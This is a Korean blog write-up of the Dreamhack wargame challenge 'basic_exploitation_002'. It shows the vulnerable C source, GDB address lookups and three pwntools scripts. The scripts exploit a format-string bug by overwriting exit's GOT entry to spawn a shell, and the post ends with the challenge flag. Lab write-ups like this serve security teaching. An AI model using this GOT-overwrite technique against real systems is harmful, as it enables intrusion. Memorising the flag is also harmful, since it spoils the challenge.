보호 기법 확인

  • 32bit 바이너리
  • partital relro
  • 카나리 없음
  • nx bit 존재
  • pie 없음

 

바이너리 실행

  • 단순히 사용자의 입력을 받아 출력해줌

 

소스코드 분석

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    read(0, buf, 0x80);
    printf(buf);

    exit(0);
}

main 함수

  • buf 배열을 0x80(128)만큼 할당
  • read 함수로 사용자의 입력을 0x80만큼 받아 buf 배열에 저장
    • BOF 취약점은 발생하지 않음
  • printf함수로 buf 값을 출력해줌
    • 원래는 포맷스트링을 갖춘 형태로 이용해야 함!!→ FSB 취약점 발생
    • printf("%s", &buf);
  • exit 함수의 got 주소를 get_shell 주소 변조해주면 바이너리가 종료되지 않고 shell을 실행해줄 것으로 보임!

get_shell 함수

  • system 함수로 shell 출력
  • flag를 획득할 수 있는 함수!

 

바이너리 실행

  • FSB 취약점이 발생할 경우 입력 값에 포맷스트링을 넣어주면 입력 값이 저장되는 offset을 확인할 수 있음

  • 입력 값은 32bit 바이너리이므로 4byte 단위로 입력해야 함
  • 입력한 aaaa가 바로 뒤(1번째 offset)에 저장되는 것을 알 수 있음

 

GDB 정적분석 - 함수 주소

pwndbg> info func
All defined functions:

Non-debugging symbols:
0x080483d8  _init
0x08048410  read@plt
0x08048420  printf@plt
0x08048430  signal@plt
0x08048440  alarm@plt
0x08048450  puts@plt
0x08048460  system@plt
0x08048470  exit@plt
0x08048480  __libc_start_main@plt
0x08048490  setvbuf@plt
0x080484a0  __gmon_start__@plt
0x080484b0  _start
0x080484e0  __x86.get_pc_thunk.bx
0x080484f0  deregister_tm_clones
0x08048520  register_tm_clones
0x08048560  __do_global_dtors_aux
0x08048580  frame_dummy
0x080485ab  alarm_handler
0x080485c2  initialize
0x08048609  get_shell
0x0804861c  main
0x08048650  __libc_csu_init
0x080486b0  __libc_csu_fini
0x080486b4  _fini
  • get_shell: 0x8048609

 

GDB 정적분석 - exit 함수

pwndbg> disass exit
Dump of assembler code for function exit@plt:
   0x08048470 <+0>:	jmp    DWORD PTR ds:0x804a024
   0x08048476 <+6>:	push   0x30
   0x0804847b <+11>:	jmp    0x8048400
End of assembler dump.
  • exit@got: 0x804a024

 

Exploit Algorithm

💡 exit@got(0x804a024) → get_shell address(0x8048609)
  • fsb → %n을 사용하여 함수 주소를 10진수로 변환한 개수로서 생각하고 넣어주면 됨
  • 0x8048609 → 134514185를 1번째 offset에 맞춰 넣어주면 되는데, 숫자가 너무 크기 때문에 반을 나눠(%hn) 넣어줌
    • 0x0804/0x8609 나눠서 넣어줌
    • 나눠 넣더라도 전체 주소의 10진수 변환 값과 같아야 하므로 약간의 연산이 필요함
    • (exit+2) + exit의 got 주소를 반 나눠 명시 → 각 4바이트씩 총 8바이트
    1. 0x804 - 8 = 2044
    2. 0x8609 - 0x804 = 32261

 

Exploit - Pwntools

from pwn import *

p = remote('host1.dreamhack.games', 15654)
e = ELF('./basic_exploitation_002')

#exit = 0x804a024
exit = e.got['exit']

payload = p32(exit+2) + p32(exit) + '%2044c%1$hn%32261c%2$hn'

p.send(payload)
p.interactive()

 

Exploit - Pwntools(format)

from pwn import *

p = remote('host1.dreamhack.games', 15654)
e = ELF('./basic_exploitation_002')

exit = e.got['exit']

payload = p32(exit+2) + p32(exit)
payload += '%{}c'.format(0x804-0x8)
payload += '%1$hn'
payload += '%{}c'.format(0x8609-0x804)
payload += '%2$hn'

p.send(payload)

p.interactive()

 

Exploit - Pwntools(fmtstr)

from pwn import *

p = remote('host1.dreamhack.games', 18335)
e = ELF('./basic_exploitation_002')

exit = e.got['exit']
get_shell = e.symbols['get_shell']

p.sendline(fmtstr_payload(1, {exit: get_shell}))
p.interactive()

 

flag

🔑 DH{59c4a03eff1e4c10c87ff123fb93d56c}

'Wargame > Dreamhack' 카테고리의 다른 글

[Dreamhack] Basic_Exploitation_003  (0) 2022.10.14
[Dreamhack] Basic_Exploitation_001  (0) 2022.10.14
[Dreamhack] Basic_Exploitation_000  (0) 2022.10.14

+ Recent posts